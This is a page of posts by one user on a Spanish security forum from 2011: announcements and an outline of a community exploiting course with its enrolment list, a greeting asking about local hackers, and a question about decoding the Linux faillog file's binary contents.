7  Seguridad Informática / Bugs y Exploits / [Taller] Curso Exploiting elhacker.net 2011 : Entregas en: 5 Febrero 2011, 16:23 pm

Bueno, vamos a usar este post para ir colgando las entregas del curso de exploiting de elhacker.net. Aclaro que las entregas se irán colgando junto a su correspondiente PWP de explicación de las conferencias y los códigos de pueba. Para apuntaros, pasaros por el post creado con ese objeto.
En este post sólo y unicamente yo postearé, colgando cada  entrega. Para mantener el orden, por favor no posteéis en este post. Ahora, se creará un post de dudas de cada entega.
Empezamos:

0. Main-Utils. Utilidades básicas para empezar.
-----------------------------------------------------------------
1. BoF locales en entornos Linux. Sin protecciones
2. BoF locales en entornos Linux. Saltando protecciones.
3. BoF remotos en entornos Linux. Saltando protecciones.
4. String Formats en entornos Linux.
5. Etc.
$. Análisis de una aplicación de código libre en linux.
#. Video-confencias para inscritos.

Se irán poniendo en negrita los ya entregados. Suerte!
Esta es la idea principal, se irá aumentando... Cualquier duda o sugerencia sobe esto por PM, por favor...
Si queréis colaborar, mandadme un PM o un email...
Os espero!
8  Foros Generales / Foro Libre / ¿ Hackers / Newbies / Programmers Almeria ? en: 4 Febrero 2011, 00:25 am
Bueno, aunque algunos me conocerán del foro, voy a presentarme :P pues nunca lo he hecho xD:
Soy Sagrini, y vivo en la décima esquina del mundo (Almería jeje). La cosa es que el otro día vi un post preguntando por hackers de Mallorca, y me he decidido a preguntar también. La pegunta es: De 200.000 users... ¿alguien vive por aquí? Es sencillamente curiosidad, quien sabe qué más, ya veremos más adelante...

Saludos y gracias xD!
9  Seguridad Informática / Bugs y Exploits / [Taller] Curso Exploiting elhacker.net 2011 : ¿Te apuntas? en: 2 Febrero 2011, 20:21 pm
¡ Se ha cerrado el plazo de inscripción del curso ! ¡ Arrancamos !
-----------------------------------------------------------------------------------------------------
¡ Se ha colgado el punto 0 en el post de las entregas !
-----------------------------------------------------------------------------------------------------
Publicación organización de grupos (max) : Sábado 12 de febrero, 23:59:59 hora Española
Sería recomendable mandarme un PM con vuestras horas de disponibilidad
-----------------------------------------------------------------------------------------------------

Bueno, Ivanchuk y yo hemos decidido empezar con este cuso / taller de exploiting en el foro. El curso se está desarrollando, pero ya tenemos las ideas en el horno. Daré una idea de como iría:

0. Main-Utils. Utilidades básicas para empezar.
-----------------------------------------------------------------
1. BoF locales en entornos Linux. Sin protecciones
2. BoF locales en entornos Linux. Saltando protecciones.
3. BoF remotos en entornos Linux. Saltando protecciones.
4. String Formats en entornos Linux.
5. Etc.
$. Análisis de una aplicación de código libre en linux.
#. Video-confencias para inscritos.

Esto sería una idea mínima, evidentemente irá para más.
Tenemos un servidor SSH montado y funcionando para pruebas remotas. Tenemos los primeros cursos en el horno. Y tenemos unos cuantos interesados. ¿Quieres participar? ¡Pues apúntate!
Para interesados, sencillamente responded a este tema y os  añadiremos a la lista! Y si quieres colaborar con los cursos, mándanos un PM o un correo electrónico a Ivanchuk o a mí. ¡Estaremos encantados de tu ayuda!

La lista de inscripción estará abierta hasta dentro de unas semanas. Cuando tengamos las primeras entregas listas empezaremos dando el cusillo. Cabe destacar que como es el el foro, es para los usuarios, no para los usuarios inscritos. Así que las entregas y las preguntas estarán abiertas para todos.... La diferencia es que los inscritos tendrán acceso a una máquina ssh, cortesía de Ivanchuck, para prácticas, y participarán en las conferencias. La inscripción es completamente gratis, y los horarios de las conferencias se verán por disponibilidad.
Los conocimientos minimos son saber leer. Está abierto para todos, de todas las edades y todos los sitios del planeta. Se verá todo paso, y habrá partes avanzadas.

----------------------------------------------------------------
Estuve hablando con Ivanchuck, las conferencias irán antes de las entregas, que serán de apoyo. Las conferencias serán de 30 min de teoría y 30 de práctica. Se resolverán dudas, que se reescribirán contestadas aquí, y se explicará todo.
Cualquier sugerencia a alguno de los dos...
----------------------------------------------------------------

Te esperamos!
PD: Iré modificando con la lista de interesados.
PD2: Para las conferencias podríamos usar Skype, pero no es fijo...
Modf: ¡ Todas las dudas de la organizacion del cuso aquí !

Ya inscritos!
----------------
Ivanchuk
Sagrini
Kisk
Leulocito
CL10
alexkof158
jackgris
ryan parker
jcrack
nascent
wirelesswifi
G0kuu_G0kuu
onox
s3tH
Bytheface
mr.blood
pablomi
Oblivi0n
kingdarnakes
Debci
Yoya
daniel666999
SnakingMax
.mokk.
Felurian
Godhomeless
Bloddyy
Ca0s
Shell Root
xelenne
isma7007
upow
Extermineitorhack
GhostLT
Diabliyo
Belial & Grimoire
pajaras
Tomi24
MrPoor
d3xf4ult
SokarTefnut
tero_34
nosoqui
nengon
joseelbarbaro
RedZer
Sr. Blanco
Nardo [N]
Luiggi2
bomba1990
drift_bit
Иōҳ
----------------
Writters & Mods: 2 [Ivanchuk & Sagrini]
Users: 50.


Os espero!
10  Sistemas Operativos / GNU/Linux / ¿ Como funciona el registro de faillog ? en: 29 Enero 2011, 22:47 pm
Es solo por curiosidad, evidentemente. El PC es mio jeje...
Bueno, hice esto en mi Linux...
Código:
juanra@Juanra:~$ sudo su
[sudo] password for juanra:
root@Juanra:/home/juanra# cat /var/log/faillog
tty1��CMtty1��AM
root@Juanra:/home/juanra# cat /var/log/faillog | hexdump -C
00000000  00 00 00 00 74 74 79 31  00 00 00 00 00 00 00 00  |....tty1........|
00000010  d8 f4 43 4d 00 00 00 00  00 00 00 00 00 00 00 00  |..CM............|
00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00005dc0  00 00 00 00 74 74 79 31  00 00 00 00 00 00 00 00  |....tty1........|
00005dd0  9a b6 41 4d 00 00 00 00                           |..AM....|
00005dd8
root@Juanra:/home/juanra#
Bueno, solo veo tty1 y unos bytes extraños:
Código:
216 244 67 77
154 182 65 77
-------------
d8 f4 43 4d
9a b6 41 4d
Arriba decimal, abajo ASCII. Que puede ser? Y como lo descifro? Gracias!
Páginas: [1] 2 3 4 5 6
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines